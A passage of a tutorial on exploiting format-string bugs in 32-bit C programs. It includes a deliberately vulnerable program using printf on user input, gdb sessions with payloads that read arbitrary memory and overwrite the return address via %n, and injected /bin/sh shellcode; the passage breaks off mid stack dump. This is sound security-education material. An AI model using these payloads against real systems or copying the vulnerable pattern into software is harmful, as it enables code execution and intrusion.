output. With different specifiers, we can write to this address or read what in this address. 63 | 64 | ## Format string specifiers 65 | 66 | 1. %d - decimal(int) - value. 67 | 2. %u - unsigned decimal(unsigned int) - value. 68 | 3. %x - hexadecimal(unsigned int) - value. 69 | 4. %s - string((const) unsigned char *) - reference. 70 | 5. %n - number of bytes written so far(* int) - reference. 71 | 6. %p - show what the pointer contains - value. 72 | 73 | ### Try different specifiers 74 | 75 | ```C 76 | #include 77 | 78 | // gcc specifiers.c -o specifiers -m32 79 | 80 | int main(int argc, char *argv[]){ 81 | int num = -824; 82 | printf("Signed int: %d\n", num); 83 | unsigned int num2 = 10000; 84 | printf("Unsigned int: %u\n", num2); 85 | printf("Hexadecimal: %x\n", num); 86 | int *p = &num2; 87 | printf("Pointer: %p\n", p); 88 | const char *s = "Some string"; 89 | printf("String: %s\n", s); 90 | int *count = &num2; 91 | printf("Number of bytes written: %n\n", count); 92 | printf("%u\n", *count); 93 | return 0; 94 | } 95 | ``` 96 | 97 | On the last one, it will write the number of bytes written at the address within count pointer or num2, so, then I wrote this value and it's 25 bytes, which you can determine in python interpreter: 98 | ```bash 99 | >>> len('Number of bytes written: ') 100 | 25 101 | ``` 102 | 103 | ## Read arbitrary data 104 | 105 | Consider this program: 106 | ```C 107 | #include 108 | #include 109 | #include 110 | 111 | // gcc read-arbitrary-data.c -o read-arbitrary-data -m32 112 | 113 | int main(int argc, char *argv[]){ 114 | const char *allow = "Access granted.\n"; 115 | const char *deny = "Access denied.\n"; 116 | char buff[200]; 117 | read(1, buff, 200); 118 | if (strncmp("password\0", buff, 9) == 0) { 119 | printf(allow); 120 | system("/bin/sh"); 121 | } else { 122 | printf(deny); 123 | printf("Say goodbye!!!"); 124 | } 125 | read(1, buff, 200); 126 | printf(buff); 127 | } 128 | ``` 129 | 130 | Try to exploit it. Suppose that we don't know the password: 131 | ```bash 132 | $ ./read-arbitrary-data 133 | afasfsf 134 | Access denied. 135 | AAAAAAAAAAAAAAAAA 136 | Say goodbye!!!AAAAAAAAAAAAAAAAA 137 | ``` 138 | 139 | Okay, we see that the program mirrors our string. Let's try format string. 140 | ```bash 141 | $ ./read-arbitrary-data 142 | asdfafaf 143 | Access denied. 144 | AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x. 145 | Say goodbye!!!AAAAffc06134.c8.5659824d.0.100.40.ffc062c4.0.0.0.56599008.56599019.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e. 146 | ``` 147 | 148 | Again, you meet the value `0x41414141` which is the beginning of our string. But, what are the values before it? Check it out with %s. 149 | ```bash 150 | $ ./read-arbitrary-data 151 | sadfafa 152 | Access denied. 153 | AAAA%s %s %s %s %s %s %s %s %s %s 154 | Say goodbye!!!AAAAAAAA%s %s %s %s %s %s %s %s %s %s 155 | Segmentation fault (core dumped) 156 | ``` 157 | 158 | So, the program crashed because it can't find something useful at the address, for instance from the output above, of value `100` or `40`. These values are not the right address. And that's why you need to know about direct parameter access. In other words, you don't need to input chains like `%x.%x.%x.%x.%x.%x.%x.%x.`, you can access, for example, the `0x41414141` value from the output above, with this string `%13$s`. 13 is the number of the parameter in the format string, which is the beginning of our string. BUT. The format specifier `%s` is waiting for the address, but we will give it the value `0x41414141`. 159 | ```bash 160 | $ ./read-arbitrary-data 161 | asfasfa 162 | Access denied. 163 | AAAA%13$s 164 | Segmentation fault (core dumped) 165 | ``` 166 | 167 | The program crashed. 168 | 169 | Thus, with a little brute-force of the direct parameter access number or just specify the needed address at the beginning of the input string, you can read arbitrary data. Let's read the strings `Access denied.` and `Access granted.` which are just before our input string. 170 | ```bash 171 | $ ./read-arbitrary-data 172 | asfsadfas 173 | Access denied. 174 | AAAA%11$s%12$s 175 | Say goodbye!!!AAAAAccess granted. 176 | Access denied. 177 | 178 | ``` 179 | 180 | ## Jump to an arbitrary address 181 | 182 | Now you know how to read data that is not meant to be read. Then try writing some data, and here I will show you how to write an arbitrary address into the return address in the `format-string` binary so that you can jump to it later. You got to do disabling security techniques such as ASLR again. 183 | 184 | ### Determine where the return address is stored within the stack. 185 | 186 | Firstly, place the breakpoint on the last instruction. 187 | ```bash 188 | gef➤ disas main 189 | Dump of assembler code for function main: 190 | 0x080491b6 <+0>: endbr32 191 | 0x080491ba <+4>: lea ecx,[esp+0x4] 192 | 0x080491be <+8>: and esp,0xfffffff0 193 | 0x080491c1 <+11>: push DWORD PTR [ecx-0x4] 194 | 0x080491c4 <+14>: push ebp 195 | 0x080491c5 <+15>: mov ebp,esp 196 | 0x080491c7 <+17>: push ebx 197 | 0x080491c8 <+18>: push ecx 198 | 0x080491c9 <+19>: sub esp,0xd0 199 | 0x080491cf <+25>: call 0x80490f0 <__x86.get_pc_thunk.bx> 200 | 0x080491d4 <+30>: add ebx,0x2e2c 201 | 0x080491da <+36>: mov eax,ecx 202 | 0x080491dc <+38>: mov eax,DWORD PTR [eax+0x4] 203 | 0x080491df <+41>: add eax,0x4 204 | 0x080491e2 <+44>: mov eax,DWORD PTR [eax] 205 | 0x080491e4 <+46>: sub esp,0x4 206 | 0x080491e7 <+49>: push 0xc8 207 | 0x080491ec <+54>: push eax 208 | 0x080491ed <+55>: lea eax,[ebp-0xd0] 209 | 0x080491f3 <+61>: push eax 210 | 0x080491f4 <+62>: call 0x8049090 211 | 0x080491f9 <+67>: add esp,0x10 212 | 0x080491fc <+70>: sub esp,0xc 213 | 0x080491ff <+73>: lea eax,[ebp-0xd0] 214 | 0x08049205 <+79>: push eax 215 | 0x08049206 <+80>: call 0x8049070 216 | 0x0804920b <+85>: add esp,0x10 217 | 0x0804920e <+88>: mov eax,0x0 218 | 0x08049213 <+93>: lea esp,[ebp-0x8] 219 | 0x08049216 <+96>: pop ecx 220 | 0x08049217 <+97>: pop ebx 221 | 0x08049218 <+98>: pop ebp 222 | 0x08049219 <+99>: lea esp,[ecx-0x4] 223 | 0x0804921c <+102>: ret 224 | End of assembler dump. 225 | gef➤ b *main + 102 226 | ``` 227 | 228 | Secondly, determine the direct parameter number to your input: 229 | ```bash 230 | gef➤ r $(python -c 'print "AAAA" + "%x." * 15') 231 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "AAAA" + "%x." * 15') 232 | 233 | Breakpoint 1, 0x0804921c in main () 234 | 235 | gef➤ c 236 | Continuing. 237 | AAAAffffd269.c8.80491d4.0.0.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.[Inferior 1 (process 11316) exited normally] 238 | ``` 239 | 240 | The direct parameter number is 6. 241 | 242 | Thirdly, when the program will stop at the breakpoint, view the stack. 243 | ```bash 244 | gef➤ r $(python -c 'print "AAAA" + "%x." * 15') 245 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "AAAA" + "%x." * 15') 246 | 247 | Breakpoint 1, 0x0804921c in main () 248 | 249 | gef➤ x/50wx $esp 250 | 0xffffcfbc: 0xf7ddbee5 0x00000002 0xffffd054 0xffffd060 251 | 0xffffcfcc: 0xffffcfe4 0xf7fa8000 0x00000000 0xffffd038 252 | 0xffffcfdc: 0x00000000 0xf7ffd000 0x00000000 0xf7fa8000 253 | 0xffffcfec: 0xf7fa8000 0x00000000 0xa458a854 0xe0ba6e44 254 | 0xffffcffc: 0x00000000 0x00000000 0x00000000 0x00000002 255 | 0xffffd00c: 0x080490a0 0x00000000 0xf7fe7b24 0xf7fe22f0 256 | 0xffffd01c: 0x0804c000 0x00000002 0x080490a0 0x00000000 257 | 0xffffd02c: 0x080490d6 0x080491b6 0x00000002 0xffffd054 258 | 0xffffd03c: 0x08049220 0x08049290 0xf7fe22f0 0xffffd04c 259 | 0xffffd04c: 0x0000001c 0x00000002 0xffffd224 0xffffd269 260 | 0xffffd05c: 0x00000000 0xffffd29b 0xffffd2ab 0xffffd2fb 261 | 0xffffd06c: 0xffffd30d 0xffffd320 0xffffd334 0xffffd368 262 | 0xffffd07c: 0xffffd3a2 0xffffd3b8 263 | gef➤ ni 264 | 0xf7ddbee5 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6 265 | 266 | gef➤ 267 | ``` 268 | 269 | Our value is `0xf7ddbee5`. Okay, so it is stored at `0xffffcfbc`. 270 | 271 | ### Try to write to the address 272 | 273 | It's time to use `%n` specifier which will write the written size of the string to our address. 274 | ```bash 275 | gef➤ r $(python -c 'print "\xbc\xcf\xff\xff" + "%6$x"') 276 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "\xbc\xcf\xff\xff" + "%6$x"') 277 | 278 | Breakpoint 1, 0x0804921c in main () 279 | 280 | gef➤ x/50wx $esp 281 | 0xffffcfdc: 0xf7ddbee5 0x00000002 0xffffd074 0xffffd080 282 | 0xffffcfec: 0xffffd004 0xf7fa8000 0x00000000 0xffffd058 283 | 0xffffcffc: 0x00000000 0xf7ffd000 0x00000000 0xf7fa8000 284 | 0xffffd00c: 0xf7fa8000 0x00000000 0x9fb4e996 0xdb566f86 285 | 0xffffd01c: 0x00000000 0x00000000 0x00000000 0x00000002 286 | 0xffffd02c: 0x080490a0 0x00000000 0xf7fe7b24 0xf7fe22f0 287 | 0xffffd03c: 0x0804c000 0x00000002 0x080490a0 0x00000000 288 | 0xffffd04c: 0x080490d6 0x080491b6 0x00000002 0xffffd074 289 | 0xffffd05c: 0x08049220 0x08049290 0xf7fe22f0 0xffffd06c 290 | 0xffffd06c: 0x0000001c 0x00000002 0xffffd24d 0xffffd292 291 | 0xffffd07c: 0x00000000 0xffffd29b 0xffffd2ab 0xffffd2fb 292 | 0xffffd08c: 0xffffd30d 0xffffd320 0xffffd334 0xffffd368 293 | 0xffffd09c: 0xffffd3a2 0xffffd3b8 294 | gef➤ c 295 | Continuing. 296 | ����ffffcfbc[Inferior 1 (process 11587) exited normally] 297 | gef➤ 298 | ``` 299 | 300 | Specify the address of the return value at the beginning of the input string. Then, show it in the output. You can see that the value was shifted. So, change the address at the beginning of the string and change the specifier from `x` to `n`. 301 | ```bash 302 | gef➤ r $(python -c 'print "\xdc\xcf\xff\xff" + "%6$n"') 303 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "\xdc\xcf\xff\xff" + "%6$n"') 304 | 305 | Breakpoint 1, 0x0804921c in main () 306 | gef➤ x/50wx $esp 307 | 0xffffcfdc: 0x00000004 0x00000002 0xffffd074 0xffffd080 308 | 0xffffcfec: 0xffffd004 0xf7fa8000 0x00000000 0xffffd058 309 | 0xffffcffc: 0x00000000 0xf7ffd000 0x00000000 0xf7fa8000 310 | 0xffffd00c: 0xf7fa8000 0x00000000 0x4291c779 0x06734169 311 | 0xffffd01c: 0x00000000 0x00000000 0x00000000 0x00000002 312 | 0xffffd02c: 0x080490a0 0x00000000 0xf7fe7b24 0xf7fe22f0 313 | 0xffffd03c: 0x0804c000 0x00000002 0x080490a0 0x00000000 314 | 0xffffd04c: 0x080490d6 0x080491b6 0x00000002 0xffffd074 315 | 0xffffd05c: 0x08049220 0x08049290 0xf7fe22f0 0xffffd06c 316 | 0xffffd06c: 0x0000001c 0x00000002 0xffffd24d 0xffffd292 317 | 0xffffd07c: 0x00000000 0xffffd29b 0xffffd2ab 0xffffd2fb 318 | 0xffffd08c: 0xffffd30d 0xffffd320 0xffffd334 0xffffd368 319 | 0xffffd09c: 0xffffd3a2 0xffffd3b8 320 | gef➤ c 321 | Continuing. 322 | 323 | Program received signal SIGSEGV, Segmentation fault. 324 | 0x00000004 in ?? () 325 | ``` 326 | 327 | Yeah, writing is happened. It wrote the 4 bytes cause we specified the 4 bytes at the beginning. Let's try change it to the first instruction of main function. So, our program will execute the main function twice. 328 | ```bash 329 | gef➤ disas main 330 | Dump of assembler code for function main: 331 | 0x080491b6 <+0>: endbr32 332 | 0x080491ba <+4>: lea ecx,[esp+0x4] 333 | 0x080491be <+8>: and esp,0xfffffff0 334 | 0x080491c1 <+11>: push DWORD PTR [ecx-0x4] 335 | 0x080491c4 <+14>: push ebp 336 | 0x080491c5 <+15>: mov ebp,esp 337 | 0x080491c7 <+17>: push ebx 338 | 0x080491c8 <+18>: push ecx 339 | 0x080491c9 <+19>: sub esp,0xd0 340 | 0x080491cf <+25>: call 0x80490f0 <__x86.get_pc_thunk.bx> 341 | 0x080491d4 <+30>: add ebx,0x2e2c 342 | 0x080491da <+36>: mov eax,ecx 343 | 0x080491dc <+38>: mov eax,DWORD PTR [eax+0x4] 344 | 0x080491df <+41>: add eax,0x4 345 | 0x080491e2 <+44>: mov eax,DWORD PTR [eax] 346 | 0x080491e4 <+46>: sub esp,0x4 347 | 0x080491e7 <+49>: push 0xc8 348 | 0x080491ec <+54>: push eax 349 | 0x080491ed <+55>: lea eax,[ebp-0xd0] 350 | 0x080491f3 <+61>: push eax 351 | 0x080491f4 <+62>: call 0x8049090 352 | 0x080491f9 <+67>: add esp,0x10 353 | 0x080491fc <+70>: sub esp,0xc 354 | 0x080491ff <+73>: lea eax,[ebp-0xd0] 355 | 0x08049205 <+79>: push eax 356 | 0x08049206 <+80>: call 0x8049070 357 | 0x0804920b <+85>: add esp,0x10 358 | 0x0804920e <+88>: mov eax,0x0 359 | 0x08049213 <+93>: lea esp,[ebp-0x8] 360 | 0x08049216 <+96>: pop ecx 361 | 0x08049217 <+97>: pop ebx 362 | 0x08049218 <+98>: pop ebp 363 | 0x08049219 <+99>: lea esp,[ecx-0x4] 364 | => 0x0804921c <+102>: ret 365 | End of assembler dump. 366 | gef➤ 367 | ``` 368 | 369 | Our first instruction of main is at the address `0x080491b6`. So, let's try to write it. Now, you need a `u` specifier. To specify before it the count of the numbers in unsigned int value. 370 | ```bash 371 | $ python3 372 | Python 3.8.5 (default, Jan 27 2021, 15:41:15) 373 | [GCC 9.3.0] on linux 374 | Type "help", "copyright", "credits" or "license" for more information. 375 | >>> 0x080491b6 376 | 134517174 377 | >>> 378 | ``` 379 | 380 | ```bash 381 | gef➤ r $(python -c 'print "\xdc\xcf\xff\xff" + "%134517170u" + "%6$n"') 382 | 383 | Breakpoint 1, 0x0804921c in main () 384 | gef➤ x/50wx $esp 385 | 0xffffcfdc: 0x080491b6 0x00000002 0xffffd074 0xffffd080 386 | 0xffffcfec: 0xffffd004 0xf7fa8000 0x00000000 0xffffd058 387 | 0xffffcffc: 0x00000000 0xf7ffd000 0x00000000 0xf7fa8000 388 | 0xffffd00c: 0xf7fa8000 0x00000000 0xd207188e 0x96e59e9e 389 | 0xffffd01c: 0x00000000 0x00000000 0x00000000 0x00000002 390 | 0xffffd02c: 0x080490a0 0x00000000 0xf7fe7b24 0xf7fe22f0 391 | 0xffffd03c: 0x0804c000 0x00000002 0x080490a0 0x00000000 392 | 0xffffd04c: 0x080490d6 0x080491b6 0x00000002 0xffffd074 393 | 0xffffd05c: 0x08049220 0x08049290 0xf7fe22f0 0xffffd06c 394 | 0xffffd06c: 0x0000001c 0x00000002 0xffffd242 0xffffd287 395 | 0xffffd07c: 0x00000000 0xffffd29b 0xffffd2ab 0xffffd2fb 396 | 0xffffd08c: 0xffffd30d 0xffffd320 0xffffd334 0xffffd368 397 | 0xffffd09c: 0xffffd3a2 0xffffd3b8 398 | gef➤ i r 399 | eax 0x0 0x0 400 | ecx 0xffffcfe0 0xffffcfe0 401 | edx 0x77fb6e49 0x77fb6e49 402 | ebx 0x0 0x0 403 | esp 0xffffcfdc 0xffffcfdc 404 | ebp 0x0 0x0 405 | esi 0xf7fa8000 0xf7fa8000 406 | edi 0xf7fa8000 0xf7fa8000 407 | eip 0x804921c 0x804921c 408 | eflags 0x286 [ PF SF IF ] 409 | cs 0x23 0x23 410 | ss 0x2b 0x2b 411 | ds 0x2b 0x2b 412 | es 0x2b 0x2b 413 | fs 0x0 0x0 414 | gs 0x63 0x63 415 | gef➤ ni 416 | 0x080491b6 in main () 417 | gef➤ i r 418 | eax 0x0 0x0 419 | ecx 0xffffcfe0 0xffffcfe0 420 | edx 0x77fb6e49 0x77fb6e49 421 | ebx 0x0 0x0 422 | esp 0xffffcfe0 0xffffcfe0 423 | ebp 0x0 0x0 424 | esi 0xf7fa8000 0xf7fa8000 425 | edi 0xf7fa8000 0xf7fa8000 426 | eip 0x80491b6 0x80491b6
427 | eflags 0x286 [ PF SF IF ] 428 | cs 0x23 0x23 429 | ss 0x2b 0x2b 430 | ds 0x2b 0x2b 431 | es 0x2b 0x2b 432 | fs 0x0 0x0 433 | gs 0x63 0x63 434 | ``` 435 | 436 | You see that the program executes the main function a second time. 437 | 438 | ## Writing in several stages 439 | 440 | Okay, in the previous subsection, I showed you how to overwrite the return address. But sometimes there are cases when we can't write desired address in one step. At this moment, it's time to write in several stages. 441 | 442 | Let's overwrite the address as above, but with several stages. 443 | 444 | Firstly, you need to understand how to specify the address at the beginning of the input string. If we want to overwrite the address in the several stages, we need to write by 2 bytes or by 1 byte at a time. For instance, consider that we want to write to the address `0xffffcfdc`, but we can't do it in one step. Though we can write first to the address `0xffffcfdc` 2 bytes, then to the address `0xffffcfdc` + 0x2, but so, that we don't change the value of the previous 2 bytes. With 1 byte at a time writing there will be `0xffffcfdc`, `0xffffcfdc` + 0x1, `0xffffcfdc` + 0x2, `0xffffcfdc` + 0x3. 445 | 446 | I will show you the 2 steps of writing. We need to write the value `0x080491b6`. So, the first value to write is `0x91b6`. The second is `0x0804`. 447 | 448 | ```bash 449 | $ python3 450 | Python 3.8.5 (default, Jan 27 2021, 15:41:15) 451 | [GCC 9.3.0] on linux 452 | Type "help", "copyright", "credits" or "license" for more information. 453 | >>> 0x91b6 454 | 37302 455 | >>> 456 | ``` 457 | 458 | ```bash 459 | gef➤ r $(python -c 'print "\xdc\xcf\xff\xff" + "%37298u" + "%6$n"') 460 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "\xdc\xcf\xff\xff" + "%37298u" + "%6$n"') 461 | 462 | gef➤ x/50wx $esp 463 | 0xffffcfdc: 0x000091b6 0x00000002 0xffffd074 0xffffd080 464 | 0xffffcfec: 0xffffd004 0xf7fa8000 0x00000000 0xffffd058 465 | 0xffffcffc: 0x00000000 0xf7ffd000 0x00000000 0xf7fa8000 466 | 0xffffd00c: 0xf7fa8000 0x00000000 0x8da201d0 0xc94087c0 467 | 0xffffd01c: 0x00000000 0x00000000 0x00000000 0x00000002 468 | 0xffffd02c: 0x080490a0 0x00000000 0xf7fe7b24 0xf7fe22f0 469 | 0xffffd03c: 0x0804c000 0x00000002 0x080490a0 0x00000000 470 | 0xffffd04c: 0x080490d6 0x080491b6 0x00000002 0xffffd074 471 | 0xffffd05c: 0x08049220 0x08049290 0xf7fe22f0 0xffffd06c 472 | 0xffffd06c: 0x0000001c 0x00000002 0xffffd246 0xffffd28b 473 | 0xffffd07c: 0x00000000 0xffffd29b 0xffffd2ab 0xffffd2fb 474 | 0xffffd08c: 0xffffd30d 0xffffd320 0xffffd334 0xffffd368 475 | 0xffffd09c: 0xffffd3a2 0xffffd3b8 476 | gef➤ 477 | ``` 478 | 479 | So, we wrote the value `0x91b6`. 480 | 481 | ```bash 482 | >>> 0x0804 483 | 2052 484 | >>> 485 | ``` 486 | 487 | ```bash 488 | gef➤ r $(python -c 'print "\xdc\xcf\xff\xff" + "\xde\xcf\xff\xff" + "%37294u" + "%6$n" + "%2052u" + "%7$n"') 489 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "\xdc\xcf\xff\xff" + "\xde\xcf\xff\xff" + "%37294u" + "%6$n" + "%2052u" + "%7$n"') 490 | �������� 491 | 492 | gef➤ x/50wx $esp 493 | 0xffffcfcc: 0xf7ddbee5 0x00000002 0xffffd064 0xffffd070 494 | 0xffffcfdc: 0x99ba91b6 0xf7fa0000 0x00000000 0xffffd048 495 | 0xffffcfec: 0x00000000 0xf7ffd000 0x00000000 0xf7fa8000 496 | 0xffffcffc: 0xf7fa8000 0x00000000 0x2694ebfe 0x62760dee 497 | 0xffffd00c: 0x00000000 0x00000000 0x00000000 0x00000002 498 | 0xffffd01c: 0x080490a0 0x00000000 0xf7fe7b24 0xf7fe22f0 499 | 0xffffd02c: 0x0804c000 0x00000002 0x080490a0 0x00000000 500 | 0xffffd03c: 0x080490d6 0x080491b6 0x00000002 0xffffd064 501 | 0xffffd04c: 0x08049220 0x08049290 0xf7fe22f0 0xffffd05c 502 | 0xffffd05c: 0x0000001c 0x00000002 0xffffd238 0xffffd27d 503 | 0xffffd06c: 0x00000000 0xffffd29b 0xffffd2ab 0xffffd2fb 504 | 0xffffd07c: 0xffffd30d 0xffffd320 0xffffd334 0xffffd368 505 | 0xffffd08c: 0xffffd3a2 0xffffd3b8 506 | ``` 507 | 508 | You can see that I added a second address that is shifted on 2 bytes. Next, decrease the value `37298` on 4 bytes, cause the n specifier will write the number of bytes which we wrote before and we wrote an additional 4 bytes. Next, after the `%6$n` I added a new `%u` specifier and after it `%7$n` so, the program will write to the next address after the first address. Also, you can see that the program contains the value `0x99ba91b6` at the address `0xffffcfdc`. 509 | 510 | We wrote to this address value 37294 + 2052 + 8 bytes as 2 address = `0x99ba`. Thus, we can't write another 2 bytes too easily. Need to overflow the value `0xffff` and then write the value `0x0804`. `0xffff` + `0x0804` - `0x91b6` - `0x8` = `30285`. With a little guess it is easy to determine the true value in the second `u` specifier. 511 | 512 | ```bash 513 | gef➤ r $(python -c 'print "\xdc\xcf\xff\xff" + "\xde\xcf\xff\xff" + "%37294u" + "%6$n" + "%30285u" + "%7$n"') 514 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "\xdc\xcf\xff\xff" + "\xde\xcf\xff\xff" + "%37294u" + "%6$n" + "%30285u" + "%7$n"') 515 | �������� 516 | 517 | gef➤ x/50wx $esp 518 | 0xffffcfcc: 0xf7ddbee5 0x00000002 0xffffd064 0xffffd070 519 | 0xffffcfdc: 0x080391b6 0xf7fa0001 0x00000000 0xffffd048 520 | 0xffffcfec: 0x00000000 0xf7ffd000 0x00000000 0xf7fa8000 521 | 0xffffcffc: 0xf7fa8000 0x00000000 0xa6c21c38 0xe220fa28 522 | 0xffffd00c: 0x00000000 0x00000000 0x00000000 0x00000002 523 | 0xffffd01c: 0x080490a0 0x00000000 0xf7fe7b24 0xf7fe22f0 524 | 0xffffd02c: 0x0804c000 0x00000002 0x080490a0 0x00000000 525 | 0xffffd03c: 0x080490d6 0x080491b6 0x00000002 0xffffd064 526 | 0xffffd04c: 0x08049220 0x08049290 0xf7fe22f0 0xffffd05c 527 | 0xffffd05c: 0x0000001c 0x00000002 0xffffd237 0xffffd27c 528 | 0xffffd06c: 0x00000000 0xffffd29b 0xffffd2ab 0xffffd2fb 529 | 0xffffd07c: 0xffffd30d 0xffffd320 0xffffd334 0xffffd368 530 | 0xffffd08c: 0xffffd3a2 0xffffd3b8 531 | gef➤ r $(python -c 'print "\xdc\xcf\xff\xff" + "\xde\xcf\xff\xff" + "%37294u" + "%6$n" + "%30286u" + "%7$n"') 532 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "\xdc\xcf\xff\xff" + "\xde\xcf\xff\xff" + "%37294u" + "%6$n" + "%30286u" + "%7$n"') 533 | �������� 534 | 535 | gef➤ x/50wx $esp 536 | 0xffffcfcc: 0xf7ddbee5 0x00000002 0xffffd064 0xffffd070 537 | 0xffffcfdc: 0x080491b6 0xf7fa0001 0x00000000 0xffffd048 538 | 0xffffcfec: 0x00000000 0xf7ffd000 0x00000000 0xf7fa8000 539 | 0xffffcffc: 0xf7fa8000 0x00000000 0x3b43ec89 0x7fa10a99 540 | 0xffffd00c: 0x00000000 0x00000000 0x00000000 0x00000002 541 | 0xffffd01c: 0x080490a0 0x00000000 0xf7fe7b24 0xf7fe22f0 542 | 0xffffd02c: 0x0804c000 0x00000002 0x080490a0 0x00000000 543 | 0xffffd03c: 0x080490d6 0x080491b6 0x00000002 0xffffd064 544 | 0xffffd04c: 0x08049220 0x08049290 0xf7fe22f0 0xffffd05c 545 | 0xffffd05c: 0x0000001c 0x00000002 0xffffd237 0xffffd27c 546 | 0xffffd06c: 0x00000000 0xffffd29b 0xffffd2ab 0xffffd2fb 547 | 0xffffd07c: 0xffffd30d 0xffffd320 0xffffd334 0xffffd368 548 | 0xffffd08c: 0xffffd3a2 0xffffd3b8 549 | gef➤ 550 | ``` 551 | 552 | Thus, we wrote the desirable value to this address. 553 | 554 | ## Exploitation 555 | 556 | Now, it's time to show how to exploit this type of vulnerability. 557 | 558 | The technique stays the same as with stack overflow. It is just another way to execute your shellcode. 559 | 560 | Payload will be next: `the return address` + `shellcode` + `specifiers to overwrite the return address`. I will show on `format-string` binary again and will use exploit from stack overflow section. 561 | 562 | We already know where the return address is, so, just place the shellcode after the address at the beginning of the input string. 563 | ```bash 564 | gef➤ r $(python -c 'print "\xdc\xcf\xff\xff" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "%6$x"') 565 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "\xdc\xcf\xff\xff" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "%6$x"') 566 | 567 | Breakpoint 1, 0x0804921c in main () 568 | gef➤ x/100wx $esp - 0x100 569 | 0xffffcedc: 0x0804920b 0xffffcef8 0xffffd28f 0x000000c8 570 | 0xffffceec: 0x080491d4 0x00000000 0x00000000 0xffffcfdc 571 | 0xffffcefc: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 572 | 0xffffcf0c: 0xb0e18953 0x2580cd0b 0x00782436 0x00000000 573 | 0xffffcf1c: 0x00000000 0x00000000 0x00000000 0x00000000 574 | 0xffffcf2c: 0x00000000 0x00000000 0x00000000 0x00000000 575 | 0xffffcf3c: 0x00000000 0x00000000 0x00000000 0x00000000 576 | 0xffffcf4c: 0x00000000 0x00000000 0x00000000 0x00000000 577 | 0xffffcf5c: 0x00000000 0x00000000 0x00000000 0x00000000 578 | 0xffffcf6c: 0x00000000 0x00000000 0x00000000 0x00000000 579 | 0xffffcf7c: 0x00000000 0x00000000 0x00000000 0x00000000 580 | 0xffffcf8c: 0x00000000 0x00000000 0x00000000 0x00000000 581 | 0xffffcf9c: 0x00000000 0x00000000 0x00000000 0x00000000 582 | 0xffffcfac: 0x00000000 0x00000000 0x00000000 0x00000000 583 | 0xffffcfbc: 0x00000000 0xffffcfe0 0x00000000 0x00000000 584 | 0xffffcfcc: 0xf7ddbee5 0xf7fa8000 0xf7fa8000 0x00000000 585 | 0xffffcfdc: 0xf7ddbee5 0x00000002 0xffffd074 0xffffd080 586 | 0xffffcfec: 0xffffd004 0xf7fa8000 0x00000000 0xffffd058 587 | 0xffffcffc: 0x00000000 0xf7ffd000 0x00000000 0xf7fa8000 588 | 0xffffd00c: 0xf7fa8000 0x00000000 0x0cd8d390 0x483a5580 589 | 0xffffd01c: 0x00000000 0x00000000 0x00000000 0x00000002 590 | 0xffffd02c: 0x080490a0 0x00000000 0xf7fe7b24 0xf7fe22f0 591 | 0xffffd03c: 0x0804c000 0x00000002 0x080490a0 0x00000000 592 | 0xffffd04c: 0x080490d6 0x080491b6 0x00000002 0xffffd074 593 | 0xffffd05c: 0x08049220 0x08049290 0xf7fe22f0 0xffffd06c 594 | gef➤ 595 | ``` 596 | 597 | You can see that the shellcode is placed at `0xffffcefc`. `0xffffcefc` is 4294954748 in decimal. We need to decrease it by subtracting 4 bytes and then the length of the shellcode which is 23 bytes = 27 bytes. 4294954721 is our value. 598 | 599 | ```bash 600 | gef➤ r $(python -c 'print "\xdc\xcf\xff\xff" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "%4294954721u" + "%6$n"') 601 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/format-string $(python -c 'print "\xdc\xcf\xff\xff" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "%4294954721u" + "%6$n"') 602 | 603 | Breakpoint 1, 0x0804921c in main () 604 | gef➤ x/100wx $esp - 0x100 605 | 0xffffcecc: 0x0804920b 0xffffcee8 0xffffd283 0x000000c8 606 | 0xffffcedc: 0x080491d4 0x00000000 0x00000000 0xffffcfdc 607 | 0xffffceec: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 608 | 0xffffcefc: 0xb0e18953 0x2580cd0b 0x34393234 0x37343539 609 | 0xffffcf0c: 0x25753332 0x006e2436 0x00000000 0x00000000 610 | 0xffffcf1c: 0x00000000 0x00000000 0x00000000 0x00000000 611 | 0xffffcf2c: 0x00000000 0x00000000 0x00000000 0x00000000 612 | 0xffffcf3c: 0x00000000 0x00000000 0x00000000 0x00000000 613 | 0xffffcf4c: 0x00000000 0x00000000 0x00000000 0x00000000 614 | 0xffffcf5c: 0x00000000 0x00000000 0x00000000 0x00000000 615 | 0xffffcf6c: 0x00000000 0x00000000 0x00000000 0x00000000 616 | 0xffffcf7c: 0x00000000 0x00000000 0x00000000 0x00000000 617 | 0xffffcf8c: 0x00000000 0x00000000 0x00000000 0x00000000 618 | 0xffffcf9c: 0x00000000 0x00000000 0x00000000 0x00000000 619 | 0xffffcfac: 0x00000000 0xffffcfd0 0x00000000 0x00000000 620 | 0xffffcfbc: 0xf7ddbee5 0xf7fa8000 0xf7fa8000 0x00000000 621 | 0xffffcfcc: 